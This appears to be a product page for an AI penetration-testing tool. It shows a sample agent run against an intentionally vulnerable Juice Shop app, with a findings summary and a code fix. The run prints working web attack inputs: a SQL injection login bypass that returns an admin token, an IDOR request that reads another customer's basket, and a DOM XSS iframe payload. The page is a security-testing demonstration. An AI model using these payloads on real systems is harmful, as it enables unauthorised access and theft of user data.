Skip to content

From login form to admin in one request

Duration
11m 42s
Steps
10
Agents
Recon, Exploit, Triage, Fix

Sample runs against public, intentionally vulnerable apps. The vulnerabilities are real; timings and traces are illustrative.

Prompt
Blackbox test the shop at http://juice-shop.local. Focus on authentication and anything a logged-in customer can reach that they shouldn’t.
  1. 00:04Recon

    Mapped the app’s routes

    $ enforster crawl http://juice-shop.local --auth none
    › Output
    142 routes · 38 API endpoints under /rest and /api
    Angular SPA, Express backend, SQLite
  2. 01:01Recon

    The login endpoint builds SQL from the email field

    POST /rest/user/login returns a verbose SQLite error when the email contains a single quote. That points to string concatenation, not a parameterised query.

  3. 01:58Exploit

    Tried a classic login bypass

    POST /rest/user/login
    { "email": "' OR 1=1--", "password": "x" }
    › Output
    200 OK
    { "authentication": { "token": "eyJ…", "umail": "[email protected]" } }
  4. 02:11TriageVerified

    Verified: SQL injection gives an admin session

    The token belongs to the first user in the table, the administrator. Reproduced 3 of 3 times.

  5. 04:00Exploit

    Read another customer’s basket

    GET /rest/basket/2
    Authorization: Bearer <token for customer with basket 1>
    › Output
    200 OK · basket 2 items returned
  6. 04:12TriageVerified

    Verified: baskets are readable by ID (IDOR)

    The API checks that you are logged in, not that the basket is yours.

  7. 06:30Exploit

    Search parameter reaches the DOM unescaped

    GET /#/search?q=<iframe src="javascript:alert(`xss`)">
    › Output
    Payload executed in a headless browser
  8. 07:35TriageDismissed

    Dismissed 37 scanner alerts

    Missing headers on static assets, a weak cipher on the dev port, reflected parameters that are encoded on output, and 31 duplicates of the three issues above.

  9. 10:40Fix

    Opened a fix for the login query

    - models.sequelize.query(`SELECT * FROM Users WHERE email = '${email}' …`)+ models.User.findOne({ where: { email, password: security.hash(password) } })
  10. 11:42Triage

    Run complete: 3 verified, 37 dismissed

What it proved

  • Critical

    SQL injection in login bypasses authentication

    POST /rest/user/login

    Proof
    email = ' OR 1=1-- returns an admin token
    Fix
    Use a parameterised query or the ORM’s where clause
  • High

    IDOR: any customer can read any basket

    GET /rest/basket/:id

    Proof
    Customer A’s token returns basket 2
    Fix
    Check basket ownership against the session user
  • Medium

    DOM XSS in product search

    /#/search?q=

    Proof
    iframe javascript: payload executes
    Fix
    Stop bypassing Angular’s sanitiser for the search term
Next runA tax form that runs any JavaScript you type

A 30-minute demo with zero slides. Bring a repo, a domain or a cloud account and we’ll show you what’s actually exploitable, live.

Book a demo